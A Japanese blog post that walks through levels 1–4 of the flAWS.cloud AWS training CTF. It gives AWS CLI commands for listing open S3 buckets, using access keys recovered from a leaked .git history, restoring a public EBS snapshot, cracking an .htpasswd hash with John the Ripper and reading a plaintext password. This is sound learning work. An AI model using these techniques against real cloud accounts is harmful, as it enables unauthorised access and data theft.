雑記

いち情報系大学生

flAWS.cloudを、勉強しながら解いてみる(level4まで)

今回はflAWS.cloudというCTFを解いてみようと思います。本CTFについてざっくり説明すると「AWSを使用する際のよくある間違いや落とし穴や脆弱性を取り扱った問題集」です。

flaws.cloud

(前置き)

これに取り組むにあたって...僕は今まで一切AWSについて勉強したことがなかったので、まずは自習するところからはじめなければなりませんでした。はじめはAWSの公式e-learningで勉強しようとしたのですが、コース内容が体系的でなく、説明を聞いても概念的な部分がぼんやりしたままで中々理解が進まなかったので、途中からはUdemyの講座でハンズオン形式で勉強を進めました。概念的な部分をひととおり抑えたあとは、EC2にnode.jsの環境構築して簡単なwebページつくるなどもしてみました。

上記を経て...今回のCTFに取り組むにあたっての自分のレベル感としては「AWSで使われる単語の意味とかはざっくり理解できているけど、具体的な開発方法とかに関しては調べないとほとんど答えられない」という感じ。CTFで問題を解くためには当然いろんな情報を集めないといけないので、そういう作業を通じて理解を深めていければいいなという意図でした。flAWS.cloudには丁寧にヒントとかも用意されているということなので、積極的に参照しながら(場合によってはwriteUPとかも調べつつ)解きました。


Level1

問題文
This level is *buckets* of fun. See if you can find the first sub-domain.

↑だけだと何のことやらだったので、早速ヒント参照。すると静的なウェブサイトhttp://flaws.cloud/はS3バケットとしてホストされているということなどがつらつらと書いてあった。しかしここまで読んでも次に何をすべきなのか分からなかったので、もう少し読み進める。

すると、digコマンドで何かやってた。digコマンド...”ドメイン名からIPアドレスを知るコマンド”っていうざっくりとした知識はあったものの実際に使ったことはなかったので、”使い方(オプション)”や”実行結果の見方”や"nslookupコマンドとの違い"などじっくり調べた(1時間程度)

使い方がわかったところで、実際にdigコマンドを使ってflaws.cloudのIPアドレスを調べてみる。

$ dig +nocmd flaws.cloud any +multiline +noall +answer
flaws.cloud.		5 IN A	52.218.193.75
~以下略~

52.218.193.75に飛んでみると、Amazon S3(拡張性と耐久性を兼ね揃えたクラウドストレージ)|AWSというページだった。冒頭に書いてあった「このサイトがS3バケットとしてホストされている」ということがここでも確認できた。

さて、ヒント通りに進めていく。
上記の手順で得たIPアドレスを、nslookupコマンドで調べてみる。

$ nslookup 54.218.193.75                             
Server:		192.168.43.1
Address:	192.168.43.1#53

Non-authoritative answer:
75.193.218.54.in-addr.arpa	name = ec2-54-218-193-75.us-west-2.compute.amazonaws.com.

~以下略~

ページがus-west-2リージョンでホストされていることがわかったので、この情報をもとにバケットの中身をみてみる。

awsコマンドを実行したいのでAWS CLIをインストール...してもよかったけれど、面倒だったので(5分あれば終わるのに)、以前勉強用に立ち上げたEC2インスタンスsshログインした。その中で以下を実行。

aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
2017-03-14 03:00:38       2575 hint1.html
2017-03-03 04:05:17       1707 hint2.html
2017-03-03 04:05:11       1101 hint3.html
2020-05-22 18:16:45       3162 index.html
2018-07-10 16:47:16      15979 logo.png
2017-02-27 01:59:28         46 robots.txt
2017-02-27 01:59:30       1051 secret-dd02c7c.html

secretなんちゃらというファイルがあるので、これを確認してみる。アドレスバーにhttp://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.htmlと入力すればよい。

みてみると↓
f:id:unyamahiro:20210112104458p:plain

となり、Level2へ進めるようになった。
http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

先へ進む前に...Level2のページに、Level1で取り扱ったセキュリティ上の問題点が解説してあったのでしっかり目を通す。以下引用。

By default, S3 buckets are private and secure when they are created. To allow it to be accessed as a web page, I had turn on "Static Website Hosting" and changed the bucket policy to allow everyone "s3:GetObject" privileges, which is fine if you plan to publicly host the bucket as a web page. But then to introduce the flaw, I changed the permissions to add "Everyone" to have "List" permissions.

"Everyone" means everyone on the Internet. You can also list the files simply by going to http://flaws.cloud.s3.amazonaws.com/ due to that List permission.

要するにちゃんとアクセス制限しないとダメってことらしい。
自分が使うことになった時は気をつけたい。


Level2

問題文
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.

前問とほとんど同じということなので、まずはヒントを見ずに以下を試した。
sshログインしてから...

$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 02:02:15      80751 everyone.png
2017-03-03 03:47:17       1433 hint1.html
2017-02-27 02:04:39       1035 hint2.html
2017-02-27 02:02:14       2786 index.html
2017-02-27 02:02:14         26 robots.txt
2017-02-27 02:02:15       1051 secret-e4443fc.html

前問同様にsecretファイルを覗いてみると↓
f:id:unyamahiro:20210112114812p:plain

となってあっさり解けてしまった。なんか釈然としないので...ヒントも見て、どこか"fairly similar, with a slight twist (問題文)"なのかを確認することにした。

調べていくとどうやら、Level1で「Everyone」に設定されていたアクセス制御が今回は「Any AuthenticatedAWSUser」に変更されていたよう。「AWSアカウントをもっている」ということだけが突破条件だったみたい(これは「自分のアカウントのユーザーだけがアクセス可能」な設定であると誤解されることがたまにあるらしい)。今回はSSHログインをしてAWS CLIを利用していたのでアクセスできたっぽい。


Level3

問題文:
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are

例によって中身の確認

$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-27 00:14:33     123637 authenticated_users.png
2017-02-27 00:14:34       1552 hint1.html
2017-02-27 00:14:34       1426 hint2.html
2017-02-27 00:14:35       1247 hint3.html
2017-02-27 00:14:33       1035 hint4.html
2020-05-22 18:21:10       1861 index.html
2017-02-27 00:14:33         26 robots.txt

前2問のようなsecretファイルは見つからない。
代わりに見つかったのは .git ファイル。

というわけで、まずはgit logで状態を確認する
(gitがインストールされていなかったので"yum install git"を実行)

$git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

2つのコミットが。
・コミットの間隔が35秒くらいしかない
・”Oops, accidentally added something I shouldn't have”という怪しすぎるコミットメッセージ

というわけで、状態を戻して確認してみる。

git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61

ここでls打ってみると、"access_keys.txt"という”いかにも”なファイルを発見。
(どう扱ったらいいのかわからなかったので一回ヒントを見たけど、
普通にaws configureすればいいだけだった)

$ cat access_keys.txt 
access_key (キー1)
secret_access_key (キー2)

$ aws configure --profile flaws
AWS Access Key ID [None]: (キー1を入力)
AWS Secret Access Key [None]: (キー2を入力)
Default region name [None]: us-west-2
Default output format [None]: json

$ aws s3 ls aws --profile flaws
2020-06-25 17:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 23:06:07 config-bucket-975426262029
2020-06-27 10:46:15 flaws-logs
2020-06-27 10:46:15 flaws.cloud
2020-06-27 15:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 15:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 15:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 15:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 15:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-28 02:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

解けた。
level4に進むには、該当行コピーしてアドレスバーに貼り付ければOK。
ちなみに5以降は、パーミッションの関係でアクセスできないようになっていた。

解説には、「キーが流出した(またはしている可能性が少しでもある)場合は、それを削除した上で新しいキーを生成しなければならない」と書いてあった。


Level4

問題文
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

アクセスしようとしたらユーザ名とパスワードを要求され、間違えると401エラーで入れない。いろいろ試したけど上手く行かなかったのでヒントへ。

$ aws sts get-caller-identity 

というのを使っている。読んで字のごとく呼び出し元(caller)のIAM情報を取得することができるっぽくて、 これを "--profile flaws"と合わせて実行することで、このユーザ名が"backup"であることがわかった。

EC2のディスクボリュームはバックアップをとれるらしくて、この"backup"アカウントが作成しているバックアップはEC2のスナップショットとのこと。そしてそれを見つけるために以下のコマンドを使っていた。

$ aws --profile flaws ec2 describe-snapshots --owner-id 975426262029

(975426262029は、さっき”aws sts get-caller-identity ”を実行した時に判明)

以下、実行結果

{
    "Snapshots": [
        {
            "Description": "", 
            "Tags": [
                {
                    "Value": "flaws backup 2017.02.27", 
                    "Key": "Name"
                }
            ], 
            "Encrypted": false, 
            "VolumeId": "vol-04f1c039bc13ea950", 
            "State": "completed", 
            "VolumeSize": 8, 
            "StartTime": "2017-02-28T01:35:12.000Z", 
            "Progress": "100%", 
            "OwnerId": "975426262029", 
            "SnapshotId": "snap-0b49342abd1bdcb89"
        }
    ]
}

これがスナップショットということは、復元もできるはず。
ということで一旦ヒントから離れ、調べながらボリュームを作成してみる。

※ 今まではec2-userとしてsshログインしながらawsコマンドとか使っていたけれど、それだと今回の作業が(付与権限的に)できないので、ここでとうとうaws cliをインストールして自分のアカウントでサインインしなければならなかった。

ボリューム作成→EC2インスタンスにアタッチ という流れでやる。

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

実行後、awsコンソールからEC2インスタンスを作成。この時"ストレージの追加"でボリュームを新たに作成して、用意したボリュームをアタッチした。その後ec2-userとしてsshログインして、今追加したボリュームをマウントする。

$ lsblk
NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk 
└─xvda1 202:1    0   8G  0 part /
xvdb    202:16   0   8G  0 disk 
└─xvdb1 202:17   0   8G  0 part 

sudo file -s /dev/xvdb1

sudo mount /dev/xvdb1 /mnt

マウントできたので、ここからは普通のCTFのweb問題のようにパスワードを探していくことになる。401ページにnginxって書いてあったのでここに注目。はじめはnginxは「読み方がエンジンエックス」くらいしか知らなかったので(web関連の技術ということも知らなかった)調べながら進めることにした。

webについてはまだ勉強を始めてから日が浅く、認証の種類とかもあんまりよくわかってなかったけれど、まずはBASIC認証だとアタリをつけてみることにした。そうなると次に探すべきは.htpasswdファイルかなぁということで

$sudo find /mnt -name .htpasswd -print
/mnt/etc/nginx/.htpasswd

「htpasswd 攻撃」など調べてみるとブルートフォースアタックが有効そうだということがわかったので、以前別のCTFでJWTの秘密鍵を破るのに使ったJohnTheRipperをここで使うことをひらめく(以前使ってた環境を消しちゃってたので、攻撃して学ぶJWT【ハンズオンあり】 | Money Forward Engineers' Blogを参考に再び環境構築しなおしてローカルで実行した)

$ ./john .htpasswd
~(略)~
0g 0:00:01:23  3/3 0g/s 52051p/s 52051c/s 52051C/s popchesa..popchand
0g 0:00:03:28  3/3 0g/s 48967p/s 48967c/s 48967C/s lya1069..lya1860

この後20分くらい待ったけど終わる気配がない。
rockyou.txtでの辞書型も試したけれど意味がなかった。

というわけで別の方法を探したけれど、30分調べても上手くいかなかったので降参。ヒントをみたら「In the ubuntu user's home directory is the file: '/home/ubuntu/setupNginx.sh'」と書いてあった(こんなの自力で探せるか...?)

$ cat /mnt/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

これがパスワード(ハッシュならそりゃブルートフォースできませんわ...)

ちゃんとログインもできた↓
f:id:unyamahiro:20210114113029p:plain

この問題では、スナップショットのアクセス制限を扱った。デフォルトではprivateになっているみたいだが、publicにすると今回みたいなケースが発生するよう。